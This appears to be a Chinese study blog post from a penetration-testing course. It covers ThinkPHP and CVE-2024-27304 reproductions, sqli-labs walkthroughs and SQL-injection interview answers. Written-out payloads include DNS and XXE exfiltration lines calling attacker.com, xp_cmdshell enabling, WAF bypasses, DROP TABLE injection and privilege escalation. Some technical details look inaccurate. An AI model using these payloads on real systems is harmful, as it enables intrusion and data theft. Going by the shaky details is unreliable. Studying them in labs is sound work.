渗透高级课个人学习分享

近期学习聚焦ThinkPHP框架漏洞分析、CVE-2024-27304协议级漏洞利用及SQL注入实操练习,通过理论拆解与实战复现,系统掌握了多种漏洞的原理、利用方法及防御思路。以下是本次学习的详细梳理。

一、ThinkPHP框架漏洞分析

1.1 ThinkPHP5漏洞分析

1.1.1 SQL注入漏洞

核心知识点

漏洞原理:ThinkPHP5在处理特定参数时,对用户输入缺乏严格过滤,导致SQL注入漏洞产生。

影响版本:不同触发场景对应不同版本的ThinkPHP5,存在版本差异化影响。

注入类型:涵盖联合查询注入、布尔盲注、时间盲注等主流注入方式。

触发条件:需通过特定URL参数构造或对应请求方式触发。

漏洞复现步骤

以《ThinkPHP5漏洞分析之SQL注入(一)》为例,具体操作如下:

  1. 搭建ThinkPHP5漏洞测试环境,确保环境可正常运行。
  1. 访问构造好的特定URL:http://localhost/thinkphp5/?s=index/index/index\&ids\[0\]=bind\&ids\[1\]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)#
  1. 观察页面返回的错误信息,从中提取数据库用户信息。
  1. 逐步深化利用,依次获取数据库名称、表名、字段名等关键信息。
  1. 最终渗透获取目标系统敏感数据。

1.1.2 文件包含漏洞

核心知识点

漏洞原理:ThinkPHP5在模板渲染过程中,未对模板文件路径进行严格校验,存在路径遍历风险,进而导致文件包含漏洞。

影响版本:仅限ThinkPHP5特定版本。

利用方式:通过构造特殊模板文件路径,包含系统敏感文件(如配置文件、密码文件)或恶意注入文件。

漏洞复现步骤

  1. 搭建ThinkPHP5漏洞测试环境。
  1. 访问构造URL:http://localhost/thinkphp5/?s=index/index/index\&template=./public/../application/index/controller/../../../../etc/passwd
  1. 观察页面返回结果,验证是否成功包含目标敏感文件。
  1. 拓展利用范围,尝试包含其他敏感文件或恶意脚本文件。

1.1.3 代码执行漏洞

核心知识点

漏洞原理:ThinkPHP5处理部分参数时,未对用户输入进行严格过滤与校验,导致攻击者可注入恶意代码并执行。

影响版本:ThinkPHP5特定版本。

利用方式:构造特殊参数,注入并执行任意PHP代码,实现对目标系统的控制。

漏洞复现步骤

以《ThinkPHP5漏洞分析之代码执行(八)》为例,具体操作如下:

  1. 搭建ThinkPHP5漏洞测试环境。
  1. 访问构造URL:http://localhost/thinkphp5/?s=index/index/index\&name={${phpinfo()}}
  1. 观察页面是否成功执行phpinfo()函数,验证漏洞存在。
  1. 进一步构造恶意代码,执行更多高危操作(如文件写入、权限提升)。

1.1.4 反序列化漏洞

核心知识点

漏洞原理:ThinkPHP5存在不安全的反序列化操作,攻击者可构造特殊序列化字符串,触发预设POP链,最终执行恶意代码。

影响版本:ThinkPHP5.0.X、5.1.X、5.2.X全系列版本。

POP链构造:通过分析框架核心代码,挖掘可利用的魔术方法与函数调用链,搭建完整攻击链路。

漏洞复现步骤

以ThinkPHP5.0.X反序列化利用链为例,具体操作如下:

  1. 搭建ThinkPHP5.0.X漏洞测试环境。
  1. 深入分析框架代码逻辑,构造符合漏洞利用条件的POP链。
  1. 根据POP链生成对应的序列化字符串。
  1. 通过Cookie、POST参数等方式,将序列化字符串传入目标系统。
  1. 观察系统响应,验证恶意代码是否成功执行。

1.2 ThinkPHP6漏洞分析

1.2.1 任意文件创建漏洞

核心知识点

漏洞原理:ThinkPHP6在文件上传功能处理中,未对文件存储路径进行严格校验,允许攻击者构造特殊路径,实现任意位置文件创建。

影响版本:ThinkPHP6.0.X系列版本。

利用方式:构造包含特殊路径的文件上传请求,在目标系统任意目录创建文件(可用于植入后门脚本)。

漏洞复现步骤

  1. 搭建ThinkPHP6.0.X漏洞测试环境。
  1. 构造包含特殊路径的文件上传请求(可通过BurpSuite等工具修改请求包)。
  1. 向目标系统发送上传请求,尝试在预设目标位置创建文件。
  1. 验证文件是否成功创建,确认漏洞利用效果。

1.2.2 反序列化漏洞

核心知识点

漏洞原理:ThinkPHP6存在不安全的反序列化操作,攻击者可构造特殊序列化字符串,触发POP链并执行恶意代码。

影响版本:ThinkPHP6.X全系列版本。

POP链构造:通过分析ThinkPHP6框架代码,挖掘可利用的魔术方法与函数调用链,搭建攻击链路。

漏洞复现步骤

  1. 搭建ThinkPHP6.X漏洞测试环境。
  1. 分析框架代码逻辑,构造适配的POP链及对应序列化字符串。
  1. 通过特定方式将序列化字符串传入目标系统。
  1. 观察系统响应,验证恶意代码是否成功执行。

二、CVE-2024-27304漏洞分析与利用

2.1 漏洞概述

核心知识点

漏洞名称:PostgreSQL pgx库SQL注入漏洞

CVE编号:CVE-2024-27304

影响版本:pgx v5.5.3版本

漏洞类型:协议级SQL注入漏洞

漏洞原理:通过发送超大体积Payload,导致PostgreSQL协议消息大小溢出,突破防护机制实现SQL注入。

2.2 漏洞原理深度解析

核心知识点

PostgreSQL协议:PostgreSQL数据库通过特定格式的协议消息实现客户端与服务器端的通信交互。

核心消息类型:

  • P(Parse):用于发送预处理语句
  • B(Bind):用于发送请求参数
  • Q(Query):用于发送简单查询语句

溢出条件:当pgx库采用Q(Query)或B(Bind)方式发送协议消息时,超大体积Payload会导致消息大小溢出,触发漏洞。

利用方式:构造特定Payload,借助消息溢出漏洞注入恶意SQL代码,执行攻击操作。

2.3 漏洞环境搭建

复现步骤

  1. 克隆漏洞测试环境项目:git clone https://github.com/your-repo/CVE-2024-27304-PoC.git
  1. 进入项目webapp目录:cd CVE-2024-27304-PoC/webapp
  1. 启动Docker容器部署环境:docker-compose up -d
  1. 验证服务启动状态:访问http://localhost:8080,确认服务正常运行。

2.4 漏洞利用实操

复现步骤

以Q_nop_sled.py脚本为例,具体操作如下:

  1. 进入漏洞利用脚本目录:cd CVE-2024-27304-PoC/exploit
  1. 编辑Q_nop_sled.py文件,修改目标地址、端口等核心参数,适配测试环境。
  1. 运行脚本执行漏洞利用:python Q_nop_sled.py
  1. 观察脚本输出结果,验证漏洞是否成功利用。
  1. 尝试登录目标Web应用,验证是否成功创建管理员账号(或其他预设攻击目标)。

注意事项

  • 该漏洞利用过程需占用大量服务器内存,可能影响系统稳定性。
  • 超大体积Payload可能触发目标系统DoS(拒绝服务),需控制测试场景。
  • 严格遵守网络安全法规,仅可在授权测试环境中验证,禁止对第三方系统执行攻击。

三、SQL注入练习环境(sqli-labs-php7-master)

3.1 环境搭建

复现步骤

  1. 下载sqli-labs-php7-master压缩包,解压至Web服务器根目录。
  1. 配置数据库连接:编辑sql-connections/sqli-connect.php文件,填入对应数据库账号、密码、库名等信息。
  1. 访问http://localhost/sqli-labs-php7-master/,点击"Setup/reset Database for labs"初始化数据库。
  1. 确认数据库创建成功,练习环境搭建完成。

3.2 Less-1:基于错误的SQL注入

核心知识点

注入类型:基于错误回显的SQL注入

触发条件:采用单引号闭合的GET参数,输入异常值可触发SQL错误回显。

利用方式:构造特殊id参数,触发SQL语法错误,通过错误信息提取数据库关键信息。

复现步骤

  1. 访问http://localhost/sqli-labs-php7-master/Less-1/?id=1,确认页面正常返回数据。
  2. 访问http://localhost/sqli-labs-php7-master/Less-1/?id=1',观察页面返回的SQL错误信息,确认注入点存在。
  3. 访问http://localhost/sqli-labs-php7-master/Less-1/?id=1' --+,验证注释符有效性,确认页面恢复正常返回。
  4. 访问http://localhost/sqli-labs-php7-master/Less-1/?id=0' union select 1,2,3 --+,定位页面回显位置。
  5. 访问http://localhost/sqli-labs-php7-master/Less-1/?id=0' union select 1,database(),user() --+,获取数据库名称与当前登录用户信息。
  6. 逐步深化注入,依次获取表名、字段名,最终提取敏感数据。

3.3 Less-2:数字型SQL注入

核心知识点

注入类型:数字型SQL注入

触发条件:参数为未加引号的GET型数字参数,无需闭合即可构造注入语句。

利用方式:构造特殊id数字参数,通过联合查询等方式提取数据库信息。

复现步骤

  1. 访问http://localhost/sqli-labs-php7-master/Less-2/?id=1,确认页面正常返回数据。
  2. 访问http://localhost/sqli-labs-php7-master/Less-2/?id=1 and 1=2,观察页面返回变化,确认注入点存在。
  3. 访问http://localhost/sqli-labs-php7-master/Less-2/?id=1 union select 1,2,3,定位页面回显位置。
  4. 参照Less-1后续步骤,依次获取数据库名称、表名、字段名及敏感数据。

3.4 Less-5:布尔盲注

核心知识点

注入类型:布尔盲注

触发条件:页面无直接数据回显,仅通过返回状态(正常/异常)判断注入结果。

利用方式:构造布尔表达式,通过页面返回状态差异,逐步猜解数据库信息。

复现步骤

  1. 访问http://localhost/sqli-labs-php7-master/Less-5/?id=1,记录页面正常返回状态。
  2. 访问http://localhost/sqli-labs-php7-master/Less-5/?id=1' and 1=1 --+,观察页面返回状态与正常状态一致。
  3. 访问http://localhost/sqli-labs-php7-master/Less-5/?id=1' and 1=2 --+,观察页面返回状态异常,确认盲注可用。
  4. 通过手动猜解或脚本工具,逐步获取数据库名称长度、字符,再依次猜解表名、字段名及敏感数据。

3.5 Less-9:时间盲注

核心知识点

注入类型:时间盲注

触发条件:页面无直接数据回显,且布尔状态无明显差异,需通过时间延迟判断注入结果。

利用方式:构造含时间延迟函数的注入语句,根据页面响应时间差异,逐步猜解数据库信息。

复现步骤

  1. 访问http://localhost/sqli-labs-php7-master/Less-9/?id=1,记录页面正常响应时间。
  2. 访问http://localhost/sqli-labs-php7-master/Less-9/?id=1' and sleep(5) --+,观察页面响应时间是否延长5秒,确认注入点存在。
  3. 访问http://localhost/sqli-labs-php7-master/Less-9/?id=1' and if(length(database())>5,sleep(5),1) --+,根据响应时间判断数据库名称长度。
  4. 通过手动猜解或脚本工具,结合时间延迟逻辑,逐步获取数据库名称、表名、字段名及敏感数据。

四、其他学习资源拓展

4.1 PDO绕过技术(PDOBYPASS.pdf)

核心知识点

PDO介绍:PHP Data Objects(PDO),是PHP的数据库抽象层,用于统一不同数据库的操作接口。

PDO预处理:核心安全机制,用于防止SQL注入,但存在特定场景下的绕过风险。

绕过方法:通过构造特殊语句,突破PDO预处理的防护逻辑,实现SQL注入。

学习实施步骤

  1. 阅读PDOBYPASS.pdf文档,深入理解PDO预处理原理及绕过核心逻辑。
  2. 搭建PDO测试环境,模拟真实业务场景。
  3. 编写测试代码,验证各类PDO绕过技术的可行性。
  4. 分析不同绕过方法的适用场景、限制条件及防御要点。
  5. 总结PDO安全编程最佳实践,规避注入风险。

五、整体学习总结

5.1 核心知识点沉淀

  • 框架漏洞分析:熟练掌握ThinkPHP5/6框架核心漏洞(SQL注入、文件包含、代码执行、反序列化)的原理、影响范围及利用逻辑,建立框架漏洞分析思维。
  • 协议级漏洞:深入理解CVE-2024-27304协议级SQL注入漏洞,掌握从协议层面分析漏洞、构造Payload的方法,拓展漏洞分析维度。
  • SQL注入技术:通过sqli-labs实操,全面掌握基于错误、数字型、布尔盲注、时间盲注等多种注入类型的识别、利用及突破技巧。
  • 漏洞利用脚本编写:学习Python漏洞利用脚本的编写逻辑,掌握参数配置、Payload构造、结果验证等核心环节。
  • 代码审计基础:通过分析ThinkPHP框架漏洞代码,提升PHP代码审计能力,能够快速定位代码中的安全隐患。

5.2 实践技能提升

  • 漏洞环境搭建:熟练掌握Docker、Web服务器等工具的使用,能够快速搭建各类漏洞测试环境,为漏洞复现与分析提供支撑。
  • 漏洞复现能力:可独立完成各类框架漏洞、协议漏洞、SQL注入漏洞的复现,精准验证漏洞存在性。
  • 漏洞利用能力:能够根据漏洞原理,自主构造Payload,实现敏感信息获取、恶意代码执行等攻击目标。
  • 安全防护建议:基于漏洞分析结果,可提出针对性的安全防护方案,规避同类漏洞风险。

六、SQL注入面试题解析

6.1 二次注入攻击流程

题目:假设目标网站对用户输入做了参数化查询,但存在用户注册信息回显的场景,你会如何构造二次注入攻击?请详细描述完整攻击链。

答案

攻击原理:二次注入的核心是数据"存入安全、取出危险",即用户输入数据被参数化查询安全存入数据库后,在其他业务场景被取出时,未经过滤直接拼接SQL语句,触发注入漏洞。

具体攻击链步骤:

  1. 注册环节注入:用户注册时,提交恶意Payload(如用户名填写admin'#),系统通过参数化查询将该Payload安全存入数据库,此时未触发注入。
  1. 漏洞触发场景:在密码修改功能中,程序从数据库取出用户名,并直接拼接SQL语句:UPDATE users SET password='[new_pass]' WHERE username='[恶意用户名]'。
  1. 注入执行:拼接后实际执行的SQL语句为:UPDATE users SET password='hacked' WHERE username='admin'#',注释符#截断后续语句,最终仅修改admin账号密码。
  1. 防御方案:所有从数据库取出的数据,在再次用于SQL拼接、展示等场景时,仍需执行参数化处理或严格过滤,避免二次注入。

6.2 时间盲注绕过技巧

题目:当目标过滤了SLEEP()函数和BENCHMARK()函数,且请求频率受限时,你会如何构造可靠的时间盲注Payload?

答案

  1. 重型查询制造延迟:通过构造复杂查询语句占用数据库资源,实现自然延迟,如:AND (SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C),多表交叉查询可显著延长执行时间。
  1. 条件性复杂运算:利用高耗资源运算函数,结合条件判断实现延迟,如:AND IF(ASCII(SUBSTR((SELECT @@version),1,1))>50, EXP(1000), 1),当条件成立时执行EXP(1000)(指数运算消耗大量资源),产生延迟。
  1. DNS查询延时(需出网):借助DNS解析过程实现延迟,同时可外带数据,如:AND LOAD_FILE(CONCAT('\\',(SELECT MID(@@version,1,100)),'.attacker.com\test')),构造含查询结果的域名,通过DNS解析日志捕获数据,解析过程会产生明显延迟。

6.3 DNS外带数据利用

题目:如何通过DNS协议外带Oracle数据库的敏感数据?请写出完整Payload并解释原理。

答案

Payload:SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL)||'.attacker.com/"> %remote;]>'),'/l') FROM DUAL

原理:

  1. 利用XML外部实体(XXE)漏洞:通过EXTRACTVALUE函数解析构造的XML内容,触发XXE外部实体引用,发起HTTP请求。
  1. 数据拼接注入:通过字符串拼接,将Oracle数据库敏感数据(如当前用户SYS_CONTEXT('USERENV','CURRENT_USER'))插入HTTP请求的子域名中。
  1. DNS解析捕获:当目标服务器发起HTTP请求时,会先进行DNS解析,攻击者通过监控自身域名的DNS解析日志,即可捕获包含敏感数据的解析记录,实现数据外带。

适用条件:Oracle 11g/12c版本,攻击者需拥有UTL_HTTP权限,且目标服务器可出网。

6.4 WAF绕过实战

题目:假设WAF检测UNION SELECT模式且过滤常见关键词,如何构造绕过Payload?给出至少三种技术方案。

答案

  1. 注释混淆绕过:通过插入数据库支持的注释符,拆分关键词,规避WAF规则检测,如:UNI/**/ON SEL/**/ECT 1,version()。
  1. 空白符变异绕过:使用非标准空白符(如%0b、%a0等)替代空格,WAF可能无法识别,而数据库可正常解析,如:UNION%0bSELECT%a0@@version。
  1. 字符编码绕过:将关键词拆分为ASCII字符,通过CHAR函数拼接还原,规避关键词过滤,如:UNION SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)(拼接为admin)。
  1. 大小写混合+嵌套语句:通过大小写交替、语句嵌套打乱关键词特征,如:UnIoN (sElEcT 1,(sElEcT mid(version(),1,1)))。

6.5 堆叠查询利用

题目:在MSSQL环境中,如何通过堆叠查询实现操作系统命令执行?写出完整利用链。

答案

完整利用链(需高权限账户):

  1. 开启xp_cmdshell组件:堆叠查询执行配置命令,开启命令执行组件,语句如下:'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
  1. 执行操作系统命令:通过xp_cmdshell组件执行命令,语句如下:'; EXEC xp_cmdshell 'whoami';--,可根据需求替换为其他命令(如文件操作、权限修改)。

注意事项:

  • 需sa等高权限数据库账户,普通账户无开启组件及执行命令权限。
  • 受数据库配置限制,部分环境可能默认禁用xp_cmdshell组件,需先突破配置限制。
  • 若xp_cmdshell被禁用,可配合CLR集成、OLE自动化存储过程等方式实现命令执行。

6.6 预编译绕过漏洞

题目:为什么参数化查询有时仍会发生SQL注入?请结合具体案例说明。

答案

核心原因:参数化查询仅对SQL语句中的"参数"有效,无法防护"动态拼接的SQL结构"(如表名、列名、排序字段等),若开发者将用户可控数据用于SQL结构拼接,仍会触发注入漏洞。

具体案例:

开发者编写代码如下,意图通过参数化查询防止注入,但将用户可控的tableName用于表名拼接:

String query = "SELECT * FROM " + tableName + " WHERE id = ?";

PreparedStatement stmt = conn.prepareStatement(query);

漏洞点:表名属于SQL语句结构部分,无法被参数化处理,若用户控制tableName参数,可构造恶意值触发注入。

攻击方式:攻击者传入tableName参数值为"malicious_table; DROP TABLE users--",拼接后SQL语句变为:SELECT * FROM malicious_table; DROP TABLE users-- WHERE id = ?,执行后会删除users表。

防御方案:对表名、列名等SQL结构部分,采用白名单校验机制,严格限制输入范围,禁止用户可控数据直接拼接。

6.7 JSON注入漏洞

题目:当Web应用使用JSON格式与数据库交互时,可能存在哪些特殊形式的SQL注入?举例说明。

答案

1. 常规JSON参数注入

攻击场景:应用将JSON中的参数直接拼接SQL语句,未做过滤处理,如后端接收JSON格式查询条件:

{ "query": "SELECT * FROM users WHERE name = '{{name}}'" }

Payload:构造JSON参数注入恶意语句:

{ "name": "admin' OR 1=1-- " }

拼接后SQL语句变为:SELECT * FROM users WHERE name = 'admin' OR 1=1-- ',实现万能查询。

2. MongoDB NoSQL注入(JSON格式衍生)

MongoDB使用JSON-like格式(BSON)存储数据,若应用直接将用户输入的JSON作为查询条件,会触发NoSQL注入,如:

Payload:{"where": "sleep(100)"},通过where操作符注入JavaScript代码,实现时间延迟盲注,获取敏感信息。

3. PostgreSQL JSON函数注入

利用PostgreSQL内置JSON函数,拼接用户输入构造注入,如:

SELECT json_extract('{"a":"' || (SELECT version()) || '"}','$.a') FROM DUAL,通过JSON函数拼接执行子查询,提取数据库版本信息。

6.8 基于错误注入的利用

题目:如何通过错误回显精确提取数据?给出MySQL和MSSQL的利用函数。

答案

核心原理:故意构造SQL语句触发类型转换、语法错误等异常,使数据库返回包含敏感数据的错误信息,实现数据提取,需满足服务器开启错误回显功能。

MySQL利用函数

使用ExtractValue函数(XML函数)触发错误,Payload:AND ExtractValue(1, CONCAT(0x5c, (SELECT @@version))),错误信息中会包含数据库版本号。

MSSQL利用函数

通过类型转换错误触发,Payload:AND 1=CONVERT(int, (SELECT @@version)),将版本号字符串转换为int类型失败,错误信息中会显示版本号。

适用条件:服务器配置为显示详细错误信息,攻击者可通过错误回显获取关键数据。

6.9 权限提升技巧

题目:如何通过SQL注入将普通数据库用户权限提升为sysadmin?给出具体步骤。

答案

PostgreSQL环境提权步骤

  1. 权限探测:执行SELECT current_setting('is_superuser'),判断当前用户是否为超级用户。
  1. 利用漏洞提权:借助CVE-2018-1058漏洞,创建恶意函数调用系统命令,语句如下:CREATE FUNCTION sys_eval(text) RETURNS text AS '/lib/libc.so.6' LANGUAGE C RETURNS NULL ON NULL INPUT; SELECT sys_eval('whoami');
  1. 权限升级:通过系统命令修改数据库配置,将普通用户提升为超级用户,实现sysadmin权限控制。

MySQL环境提权步骤

若当前用户拥有GRANT权限,可直接执行授权语句提权:GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;,将attacker用户赋予全库权限,等同于sysadmin权限。

补充说明:提权操作依赖当前用户权限基础,需先通过注入获取足够权限(如GRANT权限、文件写入权限),再结合对应数据库特性实现权限提升。

相关推荐
西岸行者4 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
悠哉悠哉愿意4 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码4 天前
嵌入式学习路线
学习
毛小茛4 天前
计算机系统概论——校验码
学习
babe小鑫4 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms4 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下4 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。4 天前
2026.2.25监控学习
学习
im_AMBER4 天前
Leetcode 127 删除有序数组中的重复项 | 删除有序数组中的重复项 II
数据结构·学习·算法·leetcode
CodeJourney_J4 天前
从“Hello World“ 开始 C++
c语言·c++·学习